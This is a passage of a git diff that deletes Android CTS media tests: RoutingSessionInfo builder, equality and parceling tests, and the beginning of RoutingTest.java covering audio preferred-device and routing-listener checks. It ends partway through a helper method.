-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .removeTransferableRoute(TEST_ROUTE_ID_7)
-
-                .build();
-
-        assertEquals(1, sessionInfo.getSelectedRoutes().size());
-        assertEquals(TEST_ROUTE_ID_0, sessionInfo.getSelectedRoutes().get(0));
-
-        assertEquals(1, sessionInfo.getSelectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_2, sessionInfo.getSelectableRoutes().get(0));
-
-        assertEquals(1, sessionInfo.getDeselectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_4, sessionInfo.getDeselectableRoutes().get(0));
-
-        assertEquals(1, sessionInfo.getTransferableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_6, sessionInfo.getTransferableRoutes().get(0));
-    }
-
-    @Test
-    public void testBuilderRemoveRouteMethodsWithBuilderCopyConstructor() {
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .build();
-
-        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
-                .removeSelectedRoute(TEST_ROUTE_ID_1)
-                .removeSelectableRoute(TEST_ROUTE_ID_3)
-                .removeDeselectableRoute(TEST_ROUTE_ID_5)
-                .removeTransferableRoute(TEST_ROUTE_ID_7)
-                .build();
-
-        assertEquals(1, newSessionInfo.getSelectedRoutes().size());
-        assertEquals(TEST_ROUTE_ID_0, newSessionInfo.getSelectedRoutes().get(0));
-
-        assertEquals(1, newSessionInfo.getSelectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_2, newSessionInfo.getSelectableRoutes().get(0));
-
-        assertEquals(1, newSessionInfo.getDeselectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_4, newSessionInfo.getDeselectableRoutes().get(0));
-
-        assertEquals(1, newSessionInfo.getTransferableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_6, newSessionInfo.getTransferableRoutes().get(0));
-    }
-
-    @Test
-    public void testBuilderClearRouteMethods() {
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .clearSelectedRoutes()
-
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .clearSelectableRoutes()
-
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .clearDeselectableRoutes()
-
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .clearTransferableRoutes()
-
-                // SelectedRoutes must not be empty
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .build();
-
-        assertEquals(1, sessionInfo.getSelectedRoutes().size());
-        assertEquals(TEST_ROUTE_ID_0, sessionInfo.getSelectedRoutes().get(0));
-
-        assertTrue(sessionInfo.getSelectableRoutes().isEmpty());
-        assertTrue(sessionInfo.getDeselectableRoutes().isEmpty());
-        assertTrue(sessionInfo.getTransferableRoutes().isEmpty());
-    }
-
-    @Test
-    public void testBuilderClearRouteMethodsWithBuilderCopyConstructor() {
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .build();
-
-        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
-                .clearSelectedRoutes()
-                .clearSelectableRoutes()
-                .clearDeselectableRoutes()
-                .clearTransferableRoutes()
-                // SelectedRoutes must not be empty
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .build();
-
-        assertEquals(1, newSessionInfo.getSelectedRoutes().size());
-        assertEquals(TEST_ROUTE_ID_0, newSessionInfo.getSelectedRoutes().get(0));
-
-        assertTrue(newSessionInfo.getSelectableRoutes().isEmpty());
-        assertTrue(newSessionInfo.getDeselectableRoutes().isEmpty());
-        assertTrue(newSessionInfo.getTransferableRoutes().isEmpty());
-    }
-
-    @Test
-    public void testEqualsCreatedWithSameArguments() {
-        Bundle controlHints = new Bundle();
-        controlHints.putString(TEST_KEY, TEST_VALUE);
-
-        RoutingSessionInfo sessionInfo1 = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .setName(TEST_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setControlHints(controlHints)
-                .build();
-
-        RoutingSessionInfo sessionInfo2 = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .setName(TEST_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setControlHints(controlHints)
-                .build();
-
-        assertEquals(sessionInfo1, sessionInfo2);
-        assertEquals(sessionInfo1.hashCode(), sessionInfo2.hashCode());
-    }
-
-    @Test
-    public void testEqualsCreatedWithBuilderCopyConstructor() {
-        Bundle controlHints = new Bundle();
-        controlHints.putString(TEST_KEY, TEST_VALUE);
-
-        RoutingSessionInfo sessionInfo1 = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .setName(TEST_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setControlHints(controlHints)
-                .build();
-
-        RoutingSessionInfo sessionInfo2 = new RoutingSessionInfo.Builder(sessionInfo1).build();
-
-        assertEquals(sessionInfo1, sessionInfo2);
-        assertEquals(sessionInfo1.hashCode(), sessionInfo2.hashCode());
-    }
-
-    @Test
-    public void testEqualsReturnFalse() {
-        Bundle controlHints = new Bundle();
-        controlHints.putString(TEST_KEY, TEST_VALUE);
-
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .setName(TEST_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setControlHints(controlHints)
-                .build();
-
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .setName(TEST_OTHER_NAME).build());
-
-        // Now, we will use copy constructor
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .addSelectedRoute("randomRoute")
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .addSelectableRoute("randomRoute")
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .addDeselectableRoute("randomRoute")
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .addTransferableRoute("randomRoute")
-                .build());
-
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .removeSelectedRoute(TEST_ROUTE_ID_1)
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .removeSelectableRoute(TEST_ROUTE_ID_3)
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .removeDeselectableRoute(TEST_ROUTE_ID_5)
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .removeTransferableRoute(TEST_ROUTE_ID_7)
-                .build());
-
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .clearSelectedRoutes()
-                // Note: Calling build() with empty selected routes will throw IAE.
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .clearSelectableRoutes()
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .clearDeselectableRoutes()
-                .build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .clearTransferableRoutes()
-                .build());
-
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .setVolumeHandling(TEST_VOLUME_HANDLING + 1).build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .setVolumeMax(TEST_VOLUME_MAX + 1).build());
-        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
-                .setVolume(TEST_VOLUME + 1).build());
-
-        // Note: ControlHints will not affect the equals.
-    }
-
-    @Test
-    public void testParcelingAndUnParceling() {
-        Bundle controlHints = new Bundle();
-        controlHints.putString(TEST_KEY, TEST_VALUE);
-
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .setName(TEST_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setControlHints(controlHints)
-                .build();
-
-        Parcel parcel = Parcel.obtain();
-        parcel.writeParcelable(sessionInfo, 0);
-        parcel.setDataPosition(0);
-
-        RoutingSessionInfo sessionInfoFromParcel = parcel.readParcelable(null);
-        assertEquals(sessionInfo, sessionInfoFromParcel);
-        assertEquals(sessionInfo.hashCode(), sessionInfoFromParcel.hashCode());
-
-        // Check controlHints
-        Bundle controlHintsOut = sessionInfoFromParcel.getControlHints();
-        assertNotNull(controlHintsOut);
-        assertTrue(controlHintsOut.containsKey(TEST_KEY));
-        assertEquals(TEST_VALUE, controlHintsOut.getString(TEST_KEY));
-        parcel.recycle();
-
-        // In order to mark writeToParcel as tested, we let's just call it directly.
-        Parcel dummyParcel = Parcel.obtain();
-        sessionInfo.writeToParcel(dummyParcel, 0);
-        dummyParcel.recycle();
-    }
-
-    @Test
-    public void testDescribeContents() {
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .setName(TEST_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .build();
-        assertEquals(0, sessionInfo.describeContents());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
deleted file mode 100644
index 84b05ea..0000000
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ /dev/null
@@ -1,921 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-
-import android.media.AudioAttributes;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-import android.media.AudioRouting;
-import android.media.AudioTrack;
-import android.media.MediaPlayer;
-import android.media.MediaFormat;
-import android.media.MediaRecorder;
-import android.media.cts.TestUtils.Monitor;
-
-import android.net.Uri;
-import android.os.Environment;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.os.ParcelFileDescriptor;
-import android.os.PowerManager;
-
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import android.util.Log;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.lang.Runnable;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
- * and routing listener tests.
- * The routing tests are mostly here to exercise the routing code, as an actual test would require
- * adding / removing an audio device for the listeners to be called.
- * The routing listener code is designed to run for two versions of the routing code:
- *  - the deprecated AudioTrack.OnRoutingChangedListener and AudioRecord.OnRoutingChangedListener
- *  - the N AudioRouting.OnRoutingChangedListener
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class RoutingTest extends AndroidTestCase {
-    private static final String TAG = "RoutingTest";
-    private static final long WAIT_ROUTING_CHANGE_TIME_MS = 3000;
-    private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
-    private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
-    private static final long MAX_FILE_SIZE_BYTE = 5000;
-    private static final int RECORD_TIME_MS = 3000;
-    private static final long WAIT_PLAYBACK_START_TIME_MS = 1000;
-    private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
-        Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    private AudioManager mAudioManager;
-    private File mOutFile;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // get the AudioManager
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        assertNotNull(mAudioManager);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mOutFile != null && mOutFile.exists()) {
-            mOutFile.delete();
-        }
-        super.tearDown();
-    }
-
-    private AudioTrack allocAudioTrack() {
-        int bufferSize =
-                AudioTrack.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_OUT_STEREO,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        AudioTrack audioTrack =
-            new AudioTrack(
-                AudioManager.STREAM_MUSIC,
-                41000,
-                AudioFormat.CHANNEL_OUT_STEREO,
-                AudioFormat.ENCODING_PCM_16BIT,
-                bufferSize,
-                AudioTrack.MODE_STREAM);
-        return audioTrack;
-    }
-
-    public void test_audioTrack_preferredDevice() {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        AudioTrack audioTrack = allocAudioTrack();
-        assertNotNull(audioTrack);
-
-        // None selected (new AudioTrack), so check for default
-        assertNull(audioTrack.getPreferredDevice());
-
-        // resets to default
-        assertTrue(audioTrack.setPreferredDevice(null));
-
-        // test each device
-        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        for (int index = 0; index < deviceList.length; index++) {
-            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
-                // Device with type as TYPE_TELEPHONY requires a privileged permission.
-                continue;
-            }
-            assertTrue(audioTrack.setPreferredDevice(deviceList[index]));
-            assertTrue(audioTrack.getPreferredDevice() == deviceList[index]);
-        }
-
-        // Check defaults again
-        assertTrue(audioTrack.setPreferredDevice(null));
-        assertNull(audioTrack.getPreferredDevice());
-
-        audioTrack.release();
-    }
-
-    public void test_audioTrack_incallMusicRoutingPermissions() {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        // only apps with MODIFY_PHONE_STATE permission can route playback
-        // to the uplink stream during a phone call, so this test makes sure that
-        // audio is re-routed to default device when the permission is missing
-
-        AudioDeviceInfo telephonyDevice = getTelephonyDeviceAndSetInCommunicationMode();
-        if (telephonyDevice == null) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        AudioTrack audioTrack = null;
-
-        try {
-            audioTrack = allocAudioTrack();
-            assertNotNull(audioTrack);
-
-            audioTrack.setPreferredDevice(telephonyDevice);
-            assertEquals(AudioDeviceInfo.TYPE_TELEPHONY, audioTrack.getPreferredDevice().getType());
-
-            audioTrack.play();
-            assertTrue(audioTrack.getRoutedDevice().getType() != AudioDeviceInfo.TYPE_TELEPHONY);
-
-        } finally {
-            if (audioTrack != null) {
-                audioTrack.stop();
-                audioTrack.release();
-            }
-            mAudioManager.setMode(AudioManager.MODE_NORMAL);
-        }
-    }
-
-    private AudioDeviceInfo getTelephonyDeviceAndSetInCommunicationMode() {
-        // get the output device for telephony
-        AudioDeviceInfo telephonyDevice = null;
-        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        for (int index = 0; index < deviceList.length; index++) {
-            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
-                telephonyDevice = deviceList[index];
-            }
-        }
-
-        if (telephonyDevice == null) {
-            return null;
-        }
-
-        // simulate an in call state using MODE_IN_COMMUNICATION since
-        // AudioManager.setMode requires MODIFY_PHONE_STATE permission
-        // for setMode with MODE_IN_CALL.
-        mAudioManager.setMode(AudioManager.MODE_IN_COMMUNICATION);
-        assertEquals(AudioManager.MODE_IN_COMMUNICATION, mAudioManager.getMode());
-
-        return telephonyDevice;
-    }
-
-    /*
-     * tests if the Looper for the current thread has been prepared,
-     * If not, it makes one, prepares it and returns it.
-     * If this returns non-null, the caller is reponsible for calling quit()
-     * on the returned Looper.
-     */
-    private Looper prepareIfNeededLooper() {
-        // non-null Handler
-        Looper myLooper = null;
-        if (Looper.myLooper() == null) {
-            Looper.prepare();
-            myLooper = Looper.myLooper();
-            assertNotNull(myLooper);
-        }
-        return myLooper;
-    }
-
-    private class AudioTrackRoutingListener implements AudioTrack.OnRoutingChangedListener,
-            AudioRouting.OnRoutingChangedListener
-    {
-        public void onRoutingChanged(AudioTrack audioTrack) {}
-        public void onRoutingChanged(AudioRouting audioRouting) {}
-    }
-
-
-    public void test_audioTrack_RoutingListener() {
-        test_audioTrack_RoutingListener(false /*usesAudioRouting*/);
-    }
-
-    public void test_audioTrack_audioRouting_RoutingListener() {
-        test_audioTrack_RoutingListener(true /*usesAudioRouting*/);
-    }
-
-    private void test_audioTrack_RoutingListener(boolean usesAudioRouting) {
-        AudioTrack audioTrack = allocAudioTrack();
-
-        // null listener
-        if (usesAudioRouting) {
-            audioTrack.addOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) null, null);
-        } else {
-            audioTrack.addOnRoutingChangedListener(
-                    (AudioTrack.OnRoutingChangedListener) null, null);
-        }
-
-        AudioTrackRoutingListener listener = new AudioTrackRoutingListener();
-        AudioTrackRoutingListener someOtherListener = new AudioTrackRoutingListener();
-
-        // add a listener
-        if (usesAudioRouting) {
-            audioTrack.addOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener, null);
-        } else {
-            audioTrack.addOnRoutingChangedListener(listener, null);
-        }
-
-        // remove listeners
-        if (usesAudioRouting) {
-            // remove a listener we didn't add
-            audioTrack.removeOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) someOtherListener);
-            // remove a valid listener
-            audioTrack.removeOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener);
-        } else {
-            // remove a listener we didn't add
-            audioTrack.removeOnRoutingChangedListener(
-                    (AudioTrack.OnRoutingChangedListener) someOtherListener);
-            // remove a valid listener
-            audioTrack.removeOnRoutingChangedListener(
-                    (AudioTrack.OnRoutingChangedListener) listener);
-        }
-
-        Looper myLooper = prepareIfNeededLooper();
-
-        if (usesAudioRouting) {
-            audioTrack.addOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener, new Handler());
-            audioTrack.removeOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener);
-        } else {
-            audioTrack.addOnRoutingChangedListener(
-                    (AudioTrack.OnRoutingChangedListener) listener, new Handler());
-            audioTrack.removeOnRoutingChangedListener(
-                    (AudioTrack.OnRoutingChangedListener) listener);
-        }
-
-        audioTrack.release();
-        if (myLooper != null) {
-            myLooper.quit();
-        }
-   }
-
-    private AudioRecord allocAudioRecord() {
-        int bufferSize =
-                AudioRecord.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_OUT_DEFAULT,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        AudioRecord audioRecord =
-            new AudioRecord(
-                MediaRecorder.AudioSource.DEFAULT,
-                41000, AudioFormat.CHANNEL_OUT_DEFAULT,
-                AudioFormat.ENCODING_PCM_16BIT,
-                bufferSize);
-        return audioRecord;
-    }
-
-    private class AudioRecordRoutingListener implements AudioRecord.OnRoutingChangedListener,
-            AudioRouting.OnRoutingChangedListener
-    {
-        public void onRoutingChanged(AudioRecord audioRecord) {}
-        public void onRoutingChanged(AudioRouting audioRouting) {}
-    }
-
-    public void test_audioRecord_RoutingListener() {
-        test_audioRecord_RoutingListener(false /*usesAudioRouting*/);
-    }
-
-    public void test_audioRecord_audioRouting_RoutingListener() {
-        test_audioRecord_RoutingListener(true /*usesAudioRouting*/);
-    }
-
-    private void test_audioRecord_RoutingListener(boolean usesAudioRouting) {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            // Can't do it so skip this test
-            return;
-        }
-        AudioRecord audioRecord = allocAudioRecord();
-
-        // null listener
-        if (usesAudioRouting) {
-            audioRecord.addOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) null, null);
-        } else {
-            audioRecord.addOnRoutingChangedListener(
-                    (AudioRecord.OnRoutingChangedListener) null, null);
-        }
-
-        AudioRecordRoutingListener listener = new AudioRecordRoutingListener();
-        AudioRecordRoutingListener someOtherListener = new AudioRecordRoutingListener();
-
-        // add a listener
-        if (usesAudioRouting) {
-            audioRecord.addOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener, null);
-        } else {
-            audioRecord.addOnRoutingChangedListener(
-                    (AudioRecord.OnRoutingChangedListener) listener, null);
-        }
-
-        // remove listeners
-        if (usesAudioRouting) {
-            // remove a listener we didn't add
-            audioRecord.removeOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) someOtherListener);
-            // remove a valid listener
-            audioRecord.removeOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener);
-        } else {
-            // remove a listener we didn't add
-            audioRecord.removeOnRoutingChangedListener(
-                    (AudioRecord.OnRoutingChangedListener) someOtherListener);
-            // remove a valid listener
-            audioRecord.removeOnRoutingChangedListener(
-                    (AudioRecord.OnRoutingChangedListener) listener);
-        }
-
-        Looper myLooper = prepareIfNeededLooper();
-        if (usesAudioRouting) {
-            audioRecord.addOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener, new Handler());
-            audioRecord.removeOnRoutingChangedListener(
-                    (AudioRouting.OnRoutingChangedListener) listener);
-        } else {
-            audioRecord.addOnRoutingChangedListener(
-                    (AudioRecord.OnRoutingChangedListener) listener, new Handler());
-            audioRecord.removeOnRoutingChangedListener(
-                    (AudioRecord.OnRoutingChangedListener) listener);
-        }
-
-        audioRecord.release();
-        if (myLooper != null) {
-            myLooper.quit();
-        }
-    }
-
-    public void test_audioRecord_preferredDevice() {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        AudioRecord audioRecord = allocAudioRecord();
-        assertNotNull(audioRecord);
-
-        // None selected (new AudioRecord), so check for default
-        assertNull(audioRecord.getPreferredDevice());
-
-        // resets to default
-        assertTrue(audioRecord.setPreferredDevice(null));
-
-        // test each device
-        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
-        for (int index = 0; index < deviceList.length; index++) {
-            assertTrue(audioRecord.setPreferredDevice(deviceList[index]));
-            assertTrue(audioRecord.getPreferredDevice() == deviceList[index]);
-        }
-
-        // Check defaults again
-        assertTrue(audioRecord.setPreferredDevice(null));
-        assertNull(audioRecord.getPreferredDevice());
-
-        audioRecord.release();
-    }
-
-    private class AudioTrackFiller implements Runnable {
-        AudioTrack mAudioTrack;
-        int mBufferSize;
-
-        boolean mPlaying;
-
-        short[] mAudioData;
-
-        public AudioTrackFiller(AudioTrack audioTrack, int bufferSize) {
-            mAudioTrack = audioTrack;
-            mBufferSize = bufferSize;
-            mPlaying = false;
-
-            // setup audio data (silence will suffice)
-            mAudioData = new short[mBufferSize];
-            for (int index = 0; index < mBufferSize; index++) {
-                mAudioData[index] = 0;
-            }
-        }
-
-        public void start() { mPlaying = true; }
-        public void stop() { mPlaying = false; }
-
-        @Override
-        public void run() {
-            while (mAudioTrack != null && mPlaying) {
-                mAudioTrack.write(mAudioData, 0, mBufferSize);
-            }
-        }
-    }
-
-    public void test_audioTrack_getRoutedDevice() throws Exception {
-        if (!DeviceUtils.hasOutputDevice(mAudioManager)) {
-            Log.i(TAG, "No output devices. Test skipped");
-            return; // nothing to test here
-        }
-
-        int bufferSize =
-                AudioTrack.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_OUT_STEREO,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        AudioTrack audioTrack =
-            new AudioTrack(
-                AudioManager.STREAM_MUSIC,
-                41000,
-                AudioFormat.CHANNEL_OUT_STEREO,
-                AudioFormat.ENCODING_PCM_16BIT,
-                bufferSize,
-                AudioTrack.MODE_STREAM);
-
-        AudioTrackFiller filler = new AudioTrackFiller(audioTrack, bufferSize);
-        filler.start();
-
-        audioTrack.play();
-
-        Thread fillerThread = new Thread(filler);
-        fillerThread.start();
-
-        assertHasNonNullRoutedDevice(audioTrack);
-
-        filler.stop();
-        audioTrack.stop();
-        audioTrack.release();
-    }
-
-    private void assertHasNonNullRoutedDevice(AudioRouting router) throws Exception {
-        AudioDeviceInfo routedDevice = null;
-        // Give a chance for playback or recording to start so routing can be established
-        final long timeouts[] = { 100, 200, 300, 500, 1000};
-        int attempt = 0;
-        long totalWait = 0;
-        do {
-            totalWait += timeouts[attempt];
-            try { Thread.sleep(timeouts[attempt++]); } catch (InterruptedException ex) {}
-            routedDevice = router.getRoutedDevice();
-            if (routedDevice == null && (attempt > 2 || totalWait >= 1000)) {
-                Log.w(TAG, "Routing still not reported after " + totalWait + "ms");
-            }
-        } while (routedDevice == null && attempt < timeouts.length);
